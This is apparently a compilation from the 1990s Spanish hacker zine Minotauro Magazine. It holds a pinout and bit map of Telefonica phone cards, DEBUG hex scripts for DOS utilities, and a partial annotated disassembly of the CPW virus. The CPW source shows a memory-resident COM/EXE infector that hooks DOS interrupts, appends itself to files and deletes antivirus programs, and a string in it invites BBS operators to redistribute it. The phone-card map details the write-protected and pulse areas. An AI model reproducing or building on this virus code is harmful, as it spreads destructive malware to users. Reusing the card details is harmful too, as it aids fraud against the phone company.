La funcion de las patas de una tarjeta Telecom-Telefonica es el siguiente:


   T           ÚÄÄÄÄÄÄÄÄÄ¿       ÚÄÄÄÄÄÄÄ¿
              1³   Vcc   À¿     ÚÙ Gnd   ³5
   A           ³          À¿  ÚÄÙ        ³
        C      ÀÄÄÄÄÄÄÄÄÄ¿ ³ ÚÙ ÚÄÄÄÄÄÄÄÄÙ
   R           ÚÄÄÄÄÄÄÄ¿ ÀÄÙ ³ ÚÙÚÄÄÄÄÄÄÄ¿
        H     2³ R\W   À¿ÚÄÄÄÙ ³ÚÙ  Vpp  ³6
   J           ÀÄÄÄÄÄÄÄÄÙ³     ³ÀÄÄÄÄÄÄÄÄÙ
        I      ÚÄÄÄÄÄÄÄÄ¿³     ³ÚÄÄÄÄÄÄÄÄ¿
   E          3³ CK    ÚÙÀÄÄÄÄÄÙÀ¿  I\O  ³7
        P      ÀÄÄÄÄÄÄÄÙ ÚÄ¿ ÚÄ¿ ÀÄÄÄÄÄÄÄÙ
   T           ÚÄÄÄÄÄÄÄÄÄÙ ³ ³ ÀÄÄÄÄÄÄÄÄÄ¿
              4³  Reset   ÚÙ À¿   Fuse   ³8
   A           ³         ÚÙ   À¿         ³
               ÀÄÄÄÄÄÄÄÄÄÙ     ÀÄÄÄÄÄÄÄÄÄÙ


     Vcc   : Provee la alimentacion positiva de la tarjeta, 5 V  +-  5%
     Gnd   : Es la masa de la tarjeta
     Vpp   : Para leer un fusible esta para se pone a 5V (Vcc), pero para
	     quemarlos se debe poner a 21 V.
     Reset : Esta pata, funciona a nivel bajo, y con un 0 resetea un
	     contador interno que sirve para acceder a la tarjeta.
     I/O   : por esta pata entran o salen los datos, segun se lea o se
	     grabe la tarjeta.
     R/W   : Poniendo esta pata a Gnd, se le indica a la tarjeta que se
	     quiere leer el bit apuntado por el contador, con Vcc se le
	     indica que se quiere grabar.
    Fuse   : Esta pata no tiene importancia para el usuario, ya que se usa
	     en la frabricacion y programacion de la tarjeta. 
    
El siguiente es un diagrama esquematico del circuito de la tarjeta:


  ÄÄÄÄÄÄÄÄÄÄÄÄ¿       ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
         ÚÄÄÄÄoÄÄÄÄÄÄÄoÄÄÄÄÄÄÄÄÄÄ¿     ³
         ³   Reset   Enable      ³     ³
         ³                       ³     ³
  ÄÄÄÄÄÄÄo>Ck                    ³     ³
         ³                       ³     ³
         ÀÄÄÄÄÄÄÄÂÄÂÄÂÄÂÄÂÄÂÄÂÄÂÄÙ     ³
  ÄÄÄÄÄÄ Vcc     ³ ³ ³ ³ ³ ³ ³ ³       ³
                 ³ ³ ³ ³ ³ ³ ³ ³       ³
  ÄÄÄÄÄÄ Gnd     ³ ³ ³ ³ ³ ³ ³ ³       ³
                 ³ ³ ³ ³ ³ ³ ³ ³       ³
                 ³ ³ ³ ³ ³ ³ ³ ³       ³
         ÚÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄ¿     ³
  ÄÄÄÄÄÄÄ´Vpp                    ³     ³
         ³                       ³     ³
  ÄÄÄÄÄÄÄ´I\O   _                ³     ³
         ³      R/W              ³     ³
         ÀÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ     ³
                 ³                     ³
  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ


Cuando se resetea la tarjeta (reset = 0), el contador interno se pone a 0, y 
queda apuntando al bit 0 de la memoria. A partir de alli, cada pulso de clock 
incrementara el contador, y con ello que bit podra ser accedido. Si la pata R/W 
esta en nivel bajo ( '0' = read ), por la pata I/O saldran los distintos bits 
que contiene la tarjeta. Si esta en '1', por esa pata entraran los datos a 
grabar.
Cabe aclarar que cuando la tarjeta esta en modo escritura (R/W=1), los pulsos 
de clock NO incrementan el contador. Si yo estoy leyendo el bit N§ 23, y paso 
a escritura, y le doy un pulso de clock,y luego paso a lectura,estare leyendo 
de nuevo el bit N§ 23.
Ahora bien, de esos 256 bits, los primeros 96 estan protegidos contra 
escritura; en esa zona se guardan los datos relativos a la cantidad de pulsos, 
nro de serie, fabricante, pais, empresa, etc. De los 160 restantes 10 son 
quemados en la fabrica a modo de prueba, y los 150 restantes conforman el area 
de pulsos. Por esta razon la tarjeta de maxima capacidad contiene 150 fichas.
El mapa de una tarjeta Telef¢nica es el siguiente, dividiendo los bits en 
series de ocho y tomando el primero como el mas significativo.

byte		valor	significado

00
01		83h       Indica que es una tarjeta de telefonos estandar.
02              FFh       No tenga la mas puta idea que significan
03		FFh       estos bytes. 
04     	 	5Ah,9Eh   5Ah para 25 pulsos, 9Eh para 50.
05        	XX        Los bytes 5,6, y 7 forman el numero de serie de 24
06        	XX        bits visible en la parte posterior de la tarjeta.
07        	XX
08        	00        Ni idea.
09        	XX        Multiplicando este numero por 10 se obtiene la 
			  cantidad de pulsos que contiene la tarjeta.
10        	1Eh       Ni idea.
11	     	28h       Indica el pais de uso ( 28h para Argentina ).
12        	FFh       8 bits probados en la fabrica.  ¿
13        	C0h       2 bits probados en la fabrica.  Ù 10 bits probados en
							    fabrica.
14-31     	00h       Area de datos. Cada bit en 0 corresponde a un pulso 
			  sin usar.

Las targetas de 25 pulsos, en realidad son de 30, pero 5 ya vienen 'gastados' 
de fabrica.
Minotauro Magazine Issue #5                                                
                                                                           
                            Some [DAN] Utilities                           
                                  by Drako                                 
                                                                           
        Antes que nada.. Qu‚ es [DAN]?! [DAN] del Lat¡n Digital Anarchy es 
un grupo de personas, recientemente formalizado, cuya intenci¢n es la de   
reunirse para matar y torturar gatos (Juaaaaaaaa). Ya sabiendo que es [DAN]
les decimos qui‚nes son [DAN] : Lapidario, Drako, Trurl, Zarathustra, Vixer
WM’, El Cancerbero, Morgan, Bugs Bunny & J.Von Neumann y si me olvido de   
alguien que se joda por inexistente :-)                                    
                                                                           
        Luego de la presentaci¢n "oficial" del grupo (Je), vamos a las     
aplicaciones que en esta nota nos conciernen..:                            
                                                                           
* File Trunker 1.0 by Drako [DAN]                                          
* File Crypter 2.0 by Drako [DAN]                                          
* Boot Reader 2.0 by Cancerbero [DAN]                                      
                                                                           
        Todos concebidos pura y exclusivamente por una cuestion de         
necesidad/precticidad y bueno, quedaron asi como los ven :-)               
Por eso mismo no crean que son utilidades fabulosas, pero que les pueden   
llegar a servir.. Bueh, la idea la captaron :-)                            
                                                                           
        Llendo a los prg. en s¡, aca va el primero:                        
                                                                           
;------------ Cut here ----------------------------------------------------
N CRYPT.COM                                                                
E 0100 BA 14 02 E8 B9 00 BF 80 00 2E 80 3D 00 75 07 BA                     
E 0110 9F 02 E8 AA 00 C3 47 47 2E 80 3D 0D 74 F1 2E 80                     
E 0120 3D 20 75 F3 2E C6 05 00 47 2E 80 3D 0D 74 E0 2E                     
E 0130 80 3D 20 74 F3 2E 89 3E 8D 03 33 C0 2E A0 80 00                     
E 0140 04 80 8B F0 2B F7 2E 89 36 8F 03 E8 BB 00 2E A3                     
E 0150 91 03 8B D8 73 07 BA 89 02 E8 63 00 C3 E8 A9 00                     
E 0160 2E A3 93 03 72 F0 BA 30 03 E8 53 00 E8 62 00 2E                     
E 0170 A2 97 03 2E C7 06 95 03 50 C3 2E 8B 1E 91 03 E8                     
E 0180 42 00 2E 3B 06 95 03 72 11 2E A0 97 03 E8 55 00                     
E 0190 2E 8B 1E 93 03 E8 5F 00 EB E0 2E A3 95 03 2E A0                     
E 01A0 97 03 E8 40 00 2E 8B 1E 93 03 E8 4A 00 E8 54 00                     
E 01B0 2E 8B 1E 91 03 E8 4C 00 BA 66 02 E8 01 00 C3 B4                     
E 01C0 09 CD 21 C3 2E 8B 0E 95 03 B4 3F BA 98 03 CD 21                     
E 01D0 C3 2E 8B 0E 8F 03 2E 8B 3E 8D 03 41 33 C0 2E 02                     
E 01E0 05 47 E2 FA C3 BF 98 03 2E 8B 0E 95 03 49 2E 30                     
E 01F0 05 FE C0 47 E2 F8 C3 2E 8B 0E 95 03 B4 40 BA 98                     
E 0200 03 CD 21 C3 B4 3E CD 21 C3 B8 02 3D 33 C9 BA 82                     
E 0210 00 CD 21 C3 46 69 6C 65 20 43 72 79 70 74 65 72                     
E 0220 20 32 2E 30 20 62 79 20 44 72 61 6B 6F 20 5B 44                     
E 0230 41 4E 5D 0A 0D 54 68 69 73 20 76 65 72 73 69 6F                     
E 0240 6E 20 65 6E 63 72 79 70 74 73 20 66 69 6C 65 73                     
E 0250 20 75 70 20 74 6F 20 61 6E 79 20 6C 65 6E 67 74                     
E 0260 68 21 0A 0D 0A 24 46 69 6C 65 20 68 61 73 20 62                     
E 0270 65 65 6E 20 63 72 79 70 74 65 64 2F 64 65 63 72                     
E 0280 79 70 74 65 64 21 0A 0D 24 45 72 72 6F 72 20 6F                     
E 0290 70 65 6E 69 6E 67 20 66 69 6C 65 21 0A 0D 24 55                     
E 02A0 73 61 67 65 3A 20 43 72 79 70 74 20 66 69 6C 65                     
E 02B0 6E 61 6D 65 2E 65 78 74 20 70 61 73 73 77 6F 72                     
E 02C0 64 0A 0D 57 68 65 72 65 3A 20 66 69 6C 65 6E 61                     
E 02D0 6D 65 2E 65 78 74 20 69 73 20 74 68 65 20 66 69                     
E 02E0 6C 65 20 74 6F 20 62 65 20 63 72 79 70 74 65 64                     
E 02F0 0A 0D 20 20 20 20 20 20 20 70 61 73 73 77 6F 72                     
E 0300 64 20 69 73 20 74 68 65 20 65 6E 63 72 79 70 74                     
E 0310 69 6F 6E 20 6B 65 79 20 28 77 6F 72 64 2C 20 70                     
E 0320 68 72 61 73 65 2C 20 65 74 63 2E 2E 29 0A 0D 24                     
E 0330 50 6C 65 61 73 65 20 77 61 69 74 2E 2E 20 54 68                     
E 0340 69 73 20 70 72 6F 63 65 73 73 20 6D 61 79 20 74                     
E 0350 61 6B 65 20 61 20 77 68 69 6C 65 2E 2E 0A 0D 55                     
E 0360 6E 64 65 72 20 4E 4F 20 43 49 52 43 55 4E 53 54                     
E 0370 41 4E 43 45 53 20 62 72 65 61 6B 20 74 68 65 20                     
E 0380 70 72 6F 63 65 73 73 21 21 0A 0D 0A 24 00 00 00                     
E 0390 00 00 00 00 00 00 00 00                                             
RCX                                                                        
0298                                                                       
W                                                                          
Q                                                                          
;------------ Cut here ----------------------------------------------------
                                                                           
 ... el segundo...                                                         
                                                                           
;------------ Cut here ----------------------------------------------------
N TRUNK.COM                                                                
E 0100 B4 09 BA 52 01 CD 21 2E 80 3E 80 00 00 74 30 33                     
E 0110 C0 33 F6 2E A0 80 00 8B F0 2E C6 84 81 00 00 B8                     
E 0120 02 3D BA 82 00 CD 21 8B D8 72 1B B8 00 40 33 D2                     
E 0130 33 C9 CD 21 B4 3E CD 21 BA C0 01 E8 0F 00 C3 BA                     
E 0140 75 01 E8 08 00 C3 BA D9 01 E8 01 00 C3 B4 09 CD                     
E 0150 21 C3 46 69 6C 65 20 54 72 75 6E 6B 65 72 20 31                     
E 0160 2E 30 20 62 79 20 44 72 61 6B 6F 20 5B 44 41 4E                     
E 0170 5D 0A 0D 0A 24 55 73 61 67 65 3A 20 54 72 75 6E                     
E 0180 6B 20 66 69 6C 65 6E 61 6D 65 2E 74 78 74 0A 0D                     
E 0190 57 68 65 72 65 3A 20 66 69 6C 65 6E 61 6D 65 2E                     
E 01A0 74 78 74 20 69 73 20 74 68 65 20 66 69 6C 65 20                     
E 01B0 74 6F 20 62 65 20 74 72 75 6E 6B 65 64 0A 0D 24                     
E 01C0 46 69 6C 65 20 68 61 73 20 62 65 65 6E 20 54 72                     
E 01D0 75 6E 6B 65 64 21 0A 0D 24 45 72 72 6F 72 20 6F                     
E 01E0 70 65 6E 69 6E 67 20 66 69 6C 65 21 0A 0D 24                        
RCX                                                                        
00EF                                                                       
W                                                                          
Q                                                                          
;------------ Cut here ----------------------------------------------------
                                                                           
 ... y el tercero y ultimo...                                              
                                                                           
;------------ Cut here ----------------------------------------------------
N BOOT20.ZIP                                                               
E 0100 50 4B 03 04 0A 00 00 80 00 00 12 5B 54 1D 6F 8B                     
E 0110 C1 F8 A4 04 00 00 A4 04 00 00 0A 00 00 00 42 4F                     
E 0120 4F 54 32 30 2E 43 4F 4D B8 66 21 BA E2 02 3B C4                     
E 0130 73 69 8B C4 2D 44 03 90 25 F0 FF 8B F8 B9 A2 00                     
E 0140 90 BE 7E 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03                     
E 0150 D9 53 33 DB 53 CB 0E 01 50 4B 4C 49 54 45 20 43                     
E 0160 6F 70 72 2E 20 31 39 39 32 20 50 4B 57 41 52 45                     
E 0170 20 49 6E 63 2E 20 41 6C 6C 20 52 69 67 68 74 73                     
E 0180 20 52 65 73 65 72 76 65 64 4E 6F 74 20 65 6E 6F                     
E 0190 75 67 68 20 6D 65 6D 6F 72 79 24 B8 00 09 BA 61                     
E 01A0 01 CD 21 CD 20 90 FD 8B F8 4F 4F BE C0 02 03 F2                     
E 01B0 8B CA D1 E9 F3 A5 FC 87 F7 46 46 BF 00 01 AD 95                     
E 01C0 BA 10 00 EB 32 90 AD 95 B2 10 EB 3B AD 95 B2 10                     
E 01D0 EB 3C AD 95 B2 10 EB 41 AD 95 B2 10 EB 63 AD 95                     
E 01E0 B2 10 EB 64 AD 95 B2 10 EB 65 AD 95 B2 10 EB 66                     
E 01F0 AD 95 B2 10 72 08 A4 D1 ED 4A 74 F4 73 F8 33 C9                     
E 0200 33 DB D1 ED 4A 74 BF D1 D3 D1 ED 4A 74 BE D1 D3                     
E 0210 85 DB 74 17 D1 ED 4A 74 B9 D1 D3 80 FB 06 72 0B                     
E 0220 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 2E 8A 8F 1C 01                     
E 0230 80 F9 0A 74 3A 33 DB 83 F9 02 74 26 D1 ED 4A 74                     
E 0240 97 72 1F D1 ED 4A 74 96 D1 D3 D1 ED 4A 74 95 D1                     
E 0250 D3 D1 ED 4A 74 94 D1 D3 80 FB 02 73 1E 2E 8A BF                     
E 0260 2C 01 AC 8A D8 56 8B F7 2B F3 F3 A4 5E EB 88 AC                     
E 0270 02 C8 80 D5 00 3C FF 75 BC EB 33 D1 ED 4A 75 04                     
E 0280 AD 95 B2 10 D1 D3 80 FB 08 72 D2 D1 ED 4A 75 04                     
E 0290 AD 95 B2 10 D1 D3 80 FB 17 72 C2 D1 ED 4A 75 04                     
E 02A0 AD 95 B2 10 D1 D3 81 E3 DF 00 86 DF EB B4 33 C0                     
E 02B0 06 BB 00 01 53 8B D8 8B C8 8B D0 8B E8 8B F0 8B                     
E 02C0 F8 CB 03 00 02 0A 04 05 00 00 00 00 00 00 06 07                     
E 02D0 08 09 01 02 00 00 03 04 05 06 00 00 00 00 00 00                     
E 02E0 00 00 07 08 09 0A 0B 0C 0D 90 00 00 B4 3D BA 40                     
E 02F0 04 CD 21 8B D8 B8 02 42 33 D2 33 05 40 C9 0B 3D                     
E 0300 A4 04 77 29 B4 09 BA 5A 02 81 02 0C E8 77 00 B4                     
E 0310 01 07 3C 61 74 27 00 00 3C 62 74 38 3C 63 74 49                     
E 0320 3C 41 74 1B 3C 42 74 2C A0 8A 3C 43 74 3D E9 D5                     
E 0330 1F 29 FD 0D 02 24 22 B8 07 0E CD 10 B4 4C 32 3D                     
E 0340 A0 28 00 32 C0 B9 01 00 4C BB 8B 58 00 E8 25 72                     
E 0350 74 9D E9 42 00 E8 28 00 B0 01 01 4A 81 15 5F 15                     
E 0360 44 15 13 00 B8 01 02 C4 04 16 BA 80 00 17 13 72                     
E 0370 48 E9 93 82 50 50 B6 03 47 C3 50 B4 08 22 65 06                     
E 0380 58 C3 0F 4B 9F 21 A1 08 4E BA F9 17 73 6F B4 3C                     
E 0390 36 54 A4 0B 72 4F E9 36 2E 49 F6 17 02 1F 73 68                     
E 03A0 17 84 29 0B 72 38 E9 1F 45 DB 67 9A 23 90 22 0B                     
E 03B0 F6 A4 22 56 22 0B 72 16 80 2C ED B4 40 B9 00 02                     
E 03C0 BA 75 B0 28 26 9C FF B4 3E 07 E9 45 35 14 77 91                     
E 03D0 04 35 0B 8B 0C 9C C5 15 FF FE D8 0F B2 0C F9 D2                     
E 03E0 1A 10 20 0D F9 DD 04 10 8E 0D 3A 6E BA 4E 45 20                     
E 03F0 03 01 2A 1A 01 0A 0D 3F 01 05 35 07 42 4F 4F 54                     
E 0400 20 53 00 14 45 43 54 4F 52 20 52 45 41 44 45 07                     
E 0410 76 DC 1D 32 2E 30 24 0A 35 57 72 00 00 69 74 74                     
E 0420 65 6E 20 62 79 20 45 6C 20 43 61 6E 63 14 A0 65                     
E 0430 72 62 03 6F 20 2F 20 44 41 6E A3 54 0B 35 44 69                     
E 0440 67 34 61 2D 41 21 1F 61 72 63 68 38 56 69 72 01                     
E 0450 4A 0E 44 65 76 65 6C 6F 70 6D 4C 74 EF 13 09 35                     
E 0460 1C D4 37 50 6C 50 24 65 61 73 65 20 59 6F 6F 07                     
E 0470 64 54 15 69 73 6B 05 A4 5C 20 28 94 28 41 20 2C                     
E 0480 E1 20 6F 72 A6 29 0E 14 01 60 28 50 72 65 73 73                     
E 0490 14 54 A0 28 52 4C 2D 43 20 74 B9 41 62 23 4E 4E                     
E 04A0 74 29 1D 3A 24 55 55 5C 52 54 4A 6E 67 A0 A8 20                     
E 04B0 65 63 27 72 2E 01 AD 6E 23 FB 03 25 8A 01 45 72                     
E 04C0 F7 72 3A 04 AA 6A 6E 6F C4 56 33 9B 8A 7F 24 35                     
E 04D0 2E 7E 29 00 D3 5B 09 42 09 BA 94 87 00 0A 39 63                     
E 04E0 3A 74 A5 0A BA 96 74 73 0A 69 6F A8 0D 6E 20 66                     
E 04F0 69 D5 47 32 30 2E 64 99 43 4F 4D 37 35 43 3F E8                     
E 0500 27 94 49 6D 61 67 65 08 1D 85 93 01 B0 20 54 72                     
E 0510 60 73 66 65 B2 7B 37 64 4B FC 04 43 63 FC 08 FC                     
E 0520 10 93 A6 FC 14 FC CD 9A 1C FC 20 FC F7 96 28 C8                     
E 0530 04 03 1C C9 2A 43 2A 44 4A 2D 25 00 A1 A5 24 20                     
E 0540 21 24 06 86 3E 01 09 01 23 57 41 52 4E 49 4E 3C                     
E 0550 11 47 3A 20 E9 20 61 23 02 6C FE 79 20 65 78 69                     
E 0560 E8 45 73 74 73 21 01 6D 18 6D 6F 4A 14 67 2F 09                     
E 0570 6E 61 6D 09 74 B5 62 68 22 DF D7 BB 2E 6E 42 50                     
E 0580 6E 0A 6F 43 7E 63 3B 6F 55 21 20 54 82 A2 22 70                     
E 0590 72 6F 67 72 30 20 68 10 A5 44 20 62 65 4C 28 74                     
E 05A0 46 64 69 37 65 64 21 07 A5 00 15 43 68 65 63 6B                     
E 05B0 20 6F 75 74 57 00 0A A4 70 6F 73 73 69 62 5F 20                     
E 05C0 69 22 45 6E 66 E4 A6 01 2A 2E 24 FF 50 4B 03 04                     
E 05D0 14 00 00 00 08 00 18 AC 6E 1D 4C A7 76 43 A4 01                     
E 05E0 00 00 11 03 00 00 0A 00 00 00 52 45 41 44 4D 45                     
E 05F0 2E 31 53 54 8D 52 D1 6A DB 40 10 7C 2F F4 1F E6                     
E 0600 2D 16 D4 C6 B5 13 B0 DD 27 C9 12 AE 20 B5 83 70                     
E 0610 03 A5 E9 C3 45 5A 59 47 A5 3B 71 77 52 EB FF EB                     
E 0620 77 95 EC C9 2E 49 DA 92 76 EF E5 8E DD 99 D9 19                     
E 0630 0E F8 B3 E2 74 93 EE C3 6B 84 DB 30 5B BF FF 84                     
E 0640 DB 34 E3 57 9C DC 26 D7 BB 9B 0F C9 76 FF FA 95                     
E 0650 3F 78 A9 A2 DD 6E 8F 2C 09 E3 24 43 3F 9B 4C FF                     
E 0660 31 FE E3 B7 F2 FC 3F 9F 91 48 0B 01 2B 9B B6 26                     
E 0670 B4 46 1F 8C 68 E0 2A E1 60 48 14 96 AF 74 1A B7                     
E 0680 94 3B 6D A0 4B 08 75 44 59 EB B6 3D B2 78 21 ED                     
E 0690 57 8C C2 D5 1D B8 19 AD EE 02 6E 17 28 E5 77 2A                     
E 06A0 50 18 D9 D3 F0 CE 75 2B C9 42 3A 38 CD 72 A5 64                     
E 06B0 31 25 1A 9E F1 DC 93 51 18 80 B9 A4 42 2E 2C 0D                     
E 06C0 9A 67 39 BF 04 EE A9 D6 EA 60 3D D6 0B 3D D2 5A                     
E 06D0 0D AD 26 27 4F A9 BB B0 E8 2C 95 5D ED 07 73 46                     
E 06E0 3A 82 6C C4 81 06 3D EB 57 8F B4 76 E8 A5 E9 D8                     
E 06F0 74 AF 65 21 D5 61 50 63 9C 6F F3 0E 71 12 7D DC                     
E 0700 E0 DD 38 38 B3 96 38 EA 0E 95 60 45 AB 1B 62 27                     
E 0710 4D 43 CA 0D 6C AE E2 F0 38 B3 A2 CB 9D B7 2F 95                     
E 0720 23 43 D6 79 56 0E D4 E8 9E 86 59 A6 1D 12 F5 4C                     
E 0730 DF 84 1A 42 70 54 D7 68 E8 0D 52 F6 AC D8 A2 B7                     
E 0740 9A 57 9C 88 70 AB BF FD 82 58 6A 75 B4 52 5B 46                     
E 0750 AC 30 BA BA 7C 1B 60 76 35 1F 5F CE 17 4B 60 34                     
E 0760 9B 8F A7 4B 54 36 78 11 99 3E 45 CE A6 CB C5 19                     
E 0770 B9 F8 85 F4 9E 37 86 C8 7B 18 02 17 BC E6 E7 38                     
E 0780 DC 7E E1 65 9B 7B 32 76 F2 1F 9F D4 D7 3A DC AE                     
E 0790 93 2C 4A B2 DD 09 FF 00 50 4B 01 02 0B 00 0A 00                     
E 07A0 00 A0 00 00 12 5B 54 1D 6F 8B C1 F8 A4 04 00 00                     
E 07B0 A4 04 00 00 0A 00 00 00 00 00 00 00 00 00 20 00                     
E 07C0 00 00 00 00 00 00 42 4F 4F 54 32 30 2E 43 4F 4D                     
E 07D0 50 4B 01 02 14 00 14 00 00 00 08 00 18 AC 6E 1D                     
E 07E0 4C A7 76 43 A4 01 00 00 11 03 00 00 0A 00 00 00                     
E 07F0 00 00 00 00 01 00 20 00 00 00 CC 04 00 00 52 45                     
E 0800 41 44 4D 45 2E 31 53 54 50 4B 05 06 00 00 00 00                     
E 0810 02 00 02 00 70 00 00 00 98 06 00 00 00 00                           
RCX                                                                        
071E                                                                       
W                                                                          
Q                                                                          
;------------ Cut here ----------------------------------------------------
                                                                           
        Sinceramente espero que nos perdonen :-)                           
                                                  Drako [DAN]              ; Virus: CPW
; Tipo: Infector de COM/EXE parasitico, residente, fast infector.
; Size: 1459, en memoria, 2000
; Origen: Chile

; Desensamblado por Trurl para Minotauro Magazine #5 (con colaboracion de 
; El Cancerbero)

cpw		segment para public
	assume cs:cpw, ds:cpw, es:cpw, ss:cpw

B2BM	equ	1
; NOTA: Para un match byte-a-byte del virus original, este B2BM tiene que 
; estar en 1. Si quieren sencillamente compilar, ponganlo a 0. (Va a ocupar
; menos, al menos con TASM 3.1, aunque funciona IGUAL).

evsize	equ	vfin-vstart
evSIP	equ	(evsize+15) SHR 4 ;  SIP = size in paras

org 100h
start:
	jmp vstart
	nop
 db "Esto es para los que van a recortar esto y meterlo en el area "
 db "Virus Sources de sus BBSs: HAGAN LO QUE QUIERAN CON EL VIRUS, "
 db "PERO LEAN MINOTAURO MAGAZINE"
 db "Trurl, Digital Anarchy"

vstart:
	JMP	begin
string1  	db	"Este programa fue hecho en Chile en 1992 por CPW. "
string2		db	"C:\COMMAND.COM", 0 ;  Para infectar el Command COM.
string3		db	"­Feliz cumplea¤os CPW!$" ; Se imprime el 27/Mayo..
fhandle		dw	0 ; File handle del file a infectar
oldint21	dd	0 ; handler original de int 21
oldint16	dd	0 ; handler original de int 16
oldint24	dd	0 ; handler original de int 24
ftype		db	1 ; 1=COM, 0=EXE... tipo de file DESDE DONDE se instala
readbufexe	db  	18h DUP(0) ; 1ra copia del header EXE
readbufexe2	db	18h dup(0) ; 2da copia del header EXE
orbytes		db	0cdh, 20h, 090h ; 3 bytes originales del COM
vsize		dw	evsize	; Size del virus en bytes
vSIP		dw	evSIP	; Size del virus en paras
branchoff   	dw	100h	; se usa para el salto al hoste (en COM)
branchadd	dd	0	; se usa para el salto al hoste (en EXE)
nameptr		dd	0; para guardar el ptr del nombre del file a infectar
oldfattr	dw	0; old file attributes
readbuf		db	90h,90h,90h ; read buffer (para autoreconocimiento)
		db 	0 ; se le escapo un byte :-)
jmpfix		db	0e9h, 0, 0; para fixear JMP en infeccion de COM
string4		db	" You are here CPW!" ; Ver rutina de INT 16
index		dw	0
newint24:	iret
fdate		dw	0 ; fecha y tiempo originales del file infectado, se
ftime		dw	0 ; usan para restablecerlas despues de la infeccion
antivstr	db	0BCh,0B1h,0BCh,0B8h,0AAh,0BEh,0ADh,0BBh,0BAh,0B2h,0ACh
		db 	0BCh,0AFh,0BEh,0A9h,0ACh,0BCh,0BEh,0B1h,0BCh,0B3h,0BAh
		db 	0BEh,0B1h,0B9h,0B6h,0B1h,0BBh,0A9h,0B6h,0ADh,0AAh,0BCh
		db 	0B7h,0B4h,0A9h,0B6h,0ADh,0AAh,0ACh
; esto es:
; "CNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS" + FF BYTE A BYTE
; "CNC GUARDEMS CPAV SCAN CLEAN FINDVIRU CHKVIRUS" 
; Se usa para borrar estos antivirus, cuando son ejecutados. 

begin:
	PUSHF
	PUSH	AX
	PUSH	BX
	PUSH	CX
	PUSH	ES
	CALL	next ; para calcular el delta offset
next:
	POP	SI
	SUB	SI,next-vstart
	XOR	AX,AX ; self residence check
	MOV	DS,AX ; si el ultimo byte de la tabla de vectores 
	MOV	AL,ds: byte ptr [3FFh]; es FB, el virus esta en memoria.
	CMP	AL,0FBh
	JZ	alreadyinstalled

	PUSH	SI
	CALL	install ; rutina para instalarse en memoria
	POP	SI
alreadyinstalled:
	IF B2BM
		db 2eh
		dw 0bc80h, ftype-vstart
		db 0
	ELSE
		CMP BYTE PTR cs:[ftype-vstart+si],0 ; variable de tipo de file
	ENDIF
	; si es un EXE, continua, si no, va a la rutina de COM
	JNZ	instlcom
	PUSH	CS
	POP	DS
	MOV	AX,CS ; obtiene el SEGMENTO haciendo CS Actual-CS del header
	SUB	AX,word ptr [SI+readbufexe2-vstart+16h]
	PUSH	AX
	POP	BX
	ADD	AX,[SI+readbufexe-vstart+16h]; Le suma el CS de header original
	MOV	[SI+branchadd-vstart+2],AX; y asi obtiene el CS donde saltar

	IF B2BM 
		DW 9C03H, readbufexe-vstart+0eh
		DW 9C89H, readbufexe-vstart
		DW 848BH, readbufexe-vstart+14h
	ELSE
		ADD	BX, [SI+readbufexe-vstart+0eh]; SS
		; AX  CS de entrada, BX SS de entrada
		MOV	[SI+readbufexe-vstart],BX
		MOV	AX,[SI+readbufexe-vstart+14h]
	ENDIF

	MOV	[SI+branchadd-vstart],AX
	POP	AX
	MOV	ES,AX
	MOV	DS,AX
	XOR	DI,DI
	POP	CX
	POP	BX
	POP	AX
	POPF
	CLI

	IF B2BM
		db 2eh
		DW 0A48BH, readbufexe-vstart+10h
		db 2eh
		DW 948EH, readbufexe-vstart
	ELSE
		MOV	SP,word ptr cs:[SI+readbufexe-vstart+10h]
		MOV	SS,word ptr cs:[SI+readbufexe-vstart]
	ENDIF

	STI
	JMP	dword ptr cs:[SI+branchadd-vstart] ; salto al EXE original
instlcom:
	PUSH	CS
	POP	DS
	PUSH	CS
	POP	ES
	PUSH	SI
	LEA	SI,[orbytes-vstart+si]
	MOV	DI,100h
	MOV	CX,3
	REPZ MOVSB	; restablece los 3 bytes originales del COM
	XOR	DI,DI
	POP	SI
	POP	ES
	POP	CX
	POP	BX
	POP	AX
	POPF
	JMP	[branchoff-vstart+si]; y salta a CS:100h

appendvir:
	; esta rutina sencillamente agrega el virus al final del file
	MOV	BX,ds:[fhandle-vstart]
	XOR	CX,CX
	XOR	DX,DX
	MOV	AX,4202h
	INT	21h
	MOV	CX,ds:[vsize-vstart] ; ?
	IF B2BM 
		dw 168dh, 0
	ELSE
		LEA	DX,ds:[0]
	ENDIF
	MOV	AH,40h
	INT	21h
	RET

install:
	; NOTA: 7D para = 7D0 bytes = 2000 bytes. Ocupa 2000 bytes en memoria.
	MOV	AH,49h ; dealocatear el bloque actual
	INT	21h
	MOV	BX,0FFFFh; obtener memoria libre total del sistema
	MOV	AH,48h
	INT	21h
	SUB	BX,7Dh ; memoria libre < a 7dh para?
	JB	quitinstall ; si es menor, abortar
	MOV	CX,ES
	STC
	ADC	CX,BX ; obtener seg. donde copiarse + 1 (por el MCB)
	MOV	AH,4Ah ; resize el bloque actual a 
	INT	21h ; toda la memoria-7dh
	MOV	BX,7Ch
	STC
	SBB	es:[2],BX ; Esto que es? Alguien sabe? Al OWNER le resta? 
	; Si 7C estuviera en BH, quiza, pero asi?
	MOV	ES,CX
	MOV	AH,4Ah ; nuevo bloque 7d->7c
	INT	21h
	MOV	AX,ES
	DEC	AX
	MOV	DS,AX
	MOV	WORD PTR ds:[1],8 ; owner=dos

	CLD
	PUSH	CS
	POP	DS
	SUB	DI,DI
	MOV	CX,05DCh ; virlen+29h?
	REPZ MOVSB; copiar el virus al bloque.

	CALL	hookints ; capturar las interrupciones 21 y 16

	XOR	AX,AX	; mover FB al ultimo byte de la IVT
	MOV	ES,AX
	MOV	BYTE PTR es:[3FFh],0FBh
quitinstall:
	RET ; volver

hookints:
	PUSH	ES
	POP	DS
	MOV	AX,3521h
	INT	21h
	MOV	word ptr ds:[oldint21-vstart],BX ; copiar al virus en mem. alta
	MOV	word ptr ds:[oldint21-vstart+2],ES
	XOR	AX,AX ; hookear la int 21 acceso directo
	MOV	ES,AX
	CLI
